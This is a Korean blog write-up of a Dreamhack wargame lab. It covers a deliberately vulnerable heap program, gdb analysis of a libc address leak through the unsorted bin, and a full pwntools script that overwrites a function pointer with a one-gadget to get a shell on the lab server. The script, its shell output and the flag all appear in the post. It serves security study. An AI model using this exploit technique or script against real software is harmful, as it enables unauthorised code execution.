공부중/시스템 해킹

[Dreamhack] Exploit Tech: Use After Free

silver surfer 2024. 10. 6.

이전 강의에서는 해제된 메모리에 접근할 수 있는 Use After Free 취약점에 대해 배워보았다. 이 취약점을 이용하면 메모리에 남아있는 데이터를 유출하거나 사용할 수 있었다.

이번 강의에서는 User After Free 취약점이 존재하는 코드를 사용해 공격하여 셸을 획득하는 실습을 해본다.

실습에 사용되는 바이너리와 libc 파일은 본 워게임의 첨부파일로 제공된다.

1. 먼저 도커를 살펴보니 실행중이 아닌 컨테이너 목록이 다음과 같았다.

 

2. 저번 실습에서 my container에서 했으니 이 컨테이너를 실행해본다.

docker start c34eeeb60805

 

3. 이제 컨테이너 내부에 들어가서 파일을 확인하거나 추가 작업을 할 수 있다.

docker exec -it my_container /bin/bash

 

4. 문제 파일을 도커 파일로 옮기려면, 문제 파일이 있는 터미널에서 아래의 명령어를 입력한다.

docker cp ./uaf_overwrite my_container:/root/uaf_overwrite
docker cp ./uaf_overwrite.c my_container:/root/uaf_overwrite
docker cp ./libc-2.27.so my_container:/root/uaf_overwrite
docker cp ./flag my_container:/root/uaf_overwrite

처럼
docker cp ./문제파일 <컨테이너이름>:/경로/문제파일

옮겨짐

 

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}
int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

 

* 보호기법

주어진 바이너리에 모든 보호기법이 적용되어 있다. FULL RELRO 보호 기법으로 인해 GOT를 덮어쓰는 공격은 어렵다. 이럴 때는 라이브러리 존재하는 훅 또는 코드에서 사용하는 함수인 포인터를 덮는 방법을 생각해볼 수 있다.

 

* 코드 분석

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

예제에는 크기가 같은 Human 과 Robot 구조체가 정의되어 있다. 사용자는 각 구조체 변수 또는 원하는 크기의 청크를 할당하고, 해제할 수 있다.

human_func 함수와 robot_func 함수를 살펴보면, 구조체 변수를 위한 메모리 영역을 할당할 때, 할당한 메모리 영역을 초기화 하지 않는다. Human 구조체와 Robot 구조체의 크기는 같으므로, 한 구조체를 해제하고 다른 구조체를 할당하면 해제된 구조체의 값을 사용할 수 있는, Use After Free가 발생한다.

robot_func는 생성한 Robot 변수의 fptr이 NULL이 아니면 이를 호출해주므로, Use After Free로 이 변수에 원하는 값을 남겨놓을 수 있다면, 실행 흐름을 조작할 수 있다.

한편, custom_func 함수를 사용하면 0x100 이상의 크기를 갖는 청크를 할당하고 해제할 수 있다. 이 함수에서도 마찬가지로 메모리 영역을 초기화하지 않으므로 Use After Free가 발생할 수 있다.

 

* 익스플로잇 설계

이번 실습에서는 Robot.fptr의 값을 원 가젯의 주소로 덮어서 셸을 획득해본다. 이를 위해 libc가 매핑된 주소를 먼저 구해야 한다.

1. 라이브러리 릭

코디에 있는 취약점은 Use After Free밖에 없으므로, 이 취약점을 이용하여 libc가 매핑된 주소를 구해야 한다. 이를 위해 ptmalloc2에서 unsorted bin의 특징을 이용한다.

unsorted bin에 처음 연결되는 청크는 libc 영역의 특정 주소와 이중 원형연결 리스트를 형성한다. 다시 말해, unsorted bin에 처음 연결되는 청크는 fd와 bk의 값으로 libc 영역의 특정 주소를 가진다. 따라서 unsorted bin에 연결된 청크를 재할당한 후, UAF 취약점으로 fd나 bk의 값을 읽으면 libc 영역의 특정 주소를 구할 수 있고 오프셋을 빼면 libc가 매핑된 베이스 주소를 계산할 수 있다.

예제의 custom_func 함수는 0x100바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크 중 원하는 청크를 해제할 수 있는 함수이다. 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있을 것이다. 

여기서 주의할 점은, 해제할 청크가 탑 청크와 맞닿으면 안 된다는 것이다. unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합된다. 이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 한다.

탑 청크와 맞닿지 않도록 0x510 크기의 청크를 2개 생성하고, 처음 생성한 청크를 해제한 후, fd와 bk의 값이 어떻게 되는지 gdb를 사용해서 살펴보자. 먼저 gdb로 바이너리를 열고, 3. Custom 메뉴를 사용해서 0x510 크기의 청크 두 개를 생성한 후, 첫 번째 청크만 해제해본다. 

$ export LD_PRELOAD=$(realpath ./libc-2.27.so)
$ gdb -q uaf_overwrite
pwndbg> r
Starting program: /home/dreamhack/uaf_overwrite
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: a
Data: a

Free idx: -1
1. Human
2. Robot
3. Custom
> 3
Size: 1280
Data: b
Data: b

Free idx: 0
1. Human
2. Robot
3. Custom
>

첫 번째 청크는 1280(0x500)만큼 할당을 요청한 후, 데이터에는 "a"를 입력한다. Free idx는 -1을 입력하여 아무것도 free() 하지 않도록 만든다. 두 번째 청크도 1280(0x500)만큼 할당을 요청한 후 데이터에는 "b"를 입력한다. Free idx: 는 0을 입력하여 첫 번째 청크를 free()한다. heap 명령어로 청크들의 정보를 살펴보자.

^C [Ctrl+C 로 인터럽트]
Program received signal SIGINT, Interrupt.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555603000
Size: 0x251

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555603250
Size: 0x511
fd: 0x7ffff7dcdca0
bk: 0x7ffff7dcdca0

Allocated chunk
Addr: 0x555555603760
Size: 0x510

Top chunk | PREV_INUSE
Addr: 0x555555603c70
Size: 0x20391
pwndbg> x/10gx 0x555555603250
0x555555603250: 0x0000000000000000  0x0000000000000511
0x555555603260: 0x00007ffff7dcdca0  0x00007ffff7dcdca0
0x555555603270: 0x0000000000000000  0x0000000000000000
0x555555603280: 0x0000000000000000  0x0000000000000000
0x555555603290: 0x0000000000000000  0x0000000000000000
pwndbg>

 

0x555555603250가 첫 번째 청크에 해당하고 0x555555603760가 두번째 청크에 해당한다. 첫 번째 청크의 fd와 bk를 살펴보면, 0x00007ffff7dcdca0가 저장되어 있다. vmmap 명령어로 살펴보면 0x7ffff7dcdca0 는 libc 영역에 존재하는 주소임을 알 수 있다.

따라서 이 주소값에서 libc가 매핑된 주소를 빼면 오프셋을 구할 수 있다.

libc가 매핑된 주소는 vmmap 명령어로 구할 수 있다.

libc, 즉 /home/dreamhack/libc-2.27.so 파일이 매핑된 베이스 주소는 0x7ffff79e2000 이다.

이전에 구한 주소 값에서 libc가 매핑된 주소를 빼면 오프셋을 구할 수 있다.

pwndbg> p/x 0x7ffff7dcdca0 - 0x7ffff79e2000
$1 = 0x3ebca0

따라서 오프셋은 0x3ebca0 이다.

 

2. 함수 포인터 덮어쓰기

Human과 Root는 같은 크기의 구조체이므로, Human 구조체가 해제되고, Robot 구조체가 할당되면, Robot은 Human이 사용했던 영역을 재사용하게 된다. Robot이 할당될 때, 사용할 메모리 영역을 초기화하지 않으므로 Human에 입력한 값은 그대로 재사용된다.

Human 구조체의 age는 Robot 구조체의 fptr과 위치가 같다. 따라서 human_func를 호출했을 때, age에 원 가젯 주소를 입력하고, 이어서 robot_func 를 호출하면 fptr의 위치에 남아있는 원 가젯을 호출할 수 있다.

 

** 익스플로잇

라이브러리 릭

custom_func를 이용하여 0x510의크기를 갖는 청크를 할당하고, 해제한 뒤, 다사 할당해서 libc 영역의 특정 주소를 릭한다. 이 때, 릭한 주소와 libc가 매핑된 베이스 주소와의 오프셋은 앞서 스플로잇-1.라이브러리 릭에서 살펴본 방법으로 구할 수 있다.

🚩 시스템에 기본적으로 탑재된 libc워게임 문제 서버의 libc가 서로 다른 경우, 원 가젯의 오프셋이 달라질 수 있습니다. 반드시 정확하고 원활한 실습을 위해, 반드시 LD_PRELOAD 환경 변수를 설정하여 워게임 문제의 첨부파일로 주어진 libc를 사용하시기를 바랍니다.

염두에 두어야 할것은, uaf_overwrite의 문제의 libc library 주소 leak은 온전한 값이 전달되는 것이 아닌 이용자의 입력 값이 해당 주소 일부 하위 바이트를 덮어쓴 상태에서 출력되므로, 다른 일반적인 문제와 libc 베이스 주소를 계산하기 위한 오프셋을 구하는 방법이 조금 다를 수 있다. 

이를 확인하기 위해 line 28 주석 참고

#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *

p = process('./uaf_overwrite')

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

 

$ export LD_PRELOAD=$(realpath ./libc-2.27.so)
$ python3 uaf_overwrite.py
[+] Starting local process './uaf_overwrite': pid 1582
[+] libc_base: 0x7f6d83173000
[+] one_gadget: 0x7f6d8327d41c

 

함수 포인터 덮어쓰기

human->age와 robot->fptr이 구조체 상에서 같은 위치에 있음을 이용하면 Use After Free로 robot->fptr의 값을 원하는 값으로 조작할 수 있다.

human->age에 원 가젯의 주소를 입력하고, 해제한 뒤, robot_func를 호출하면 다음과 같이 셸을 획득할 수 있다.

#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *

p = remote('host3.dreamhack.games',13577)

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원 가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)

p.interactive()

 

$ export LD_PRELOAD=$(realpath ./libc-2.27.so)
$ python3 uaf_overwrite.py
[+] Starting local process './uaf_overwrite': pid 1602
[+] libc_base: 0x7f5e11132000
[+] one_gadget: 0x7f5e1123c41c
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

마치며

마치며

이번 강의에서는 Use After Free로 간단한 예제를 익스플로잇하는 실습을 해보았습니다. 예제에서처럼, Use After Free로 특정 함수 포인터를 조작할 수 있다면, 공격자는 실행 흐름을 획득할 수 있습니다.

다음 강의에서는 힙과 관련된 대표적인 취약점 중 하나인 Double Free Bug에 대해 배워보겠습니다. 🚩

키워드
  • Dangling Pointer: 해제된 메모리를 가리키고 있는 포인터. UAF가 발생하는 원인이 될 수 있음.
  • Use-After-Free (UAF): 해제된 메모리에 접근할 수 있는 취약점

익스플로잇

DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}

댓글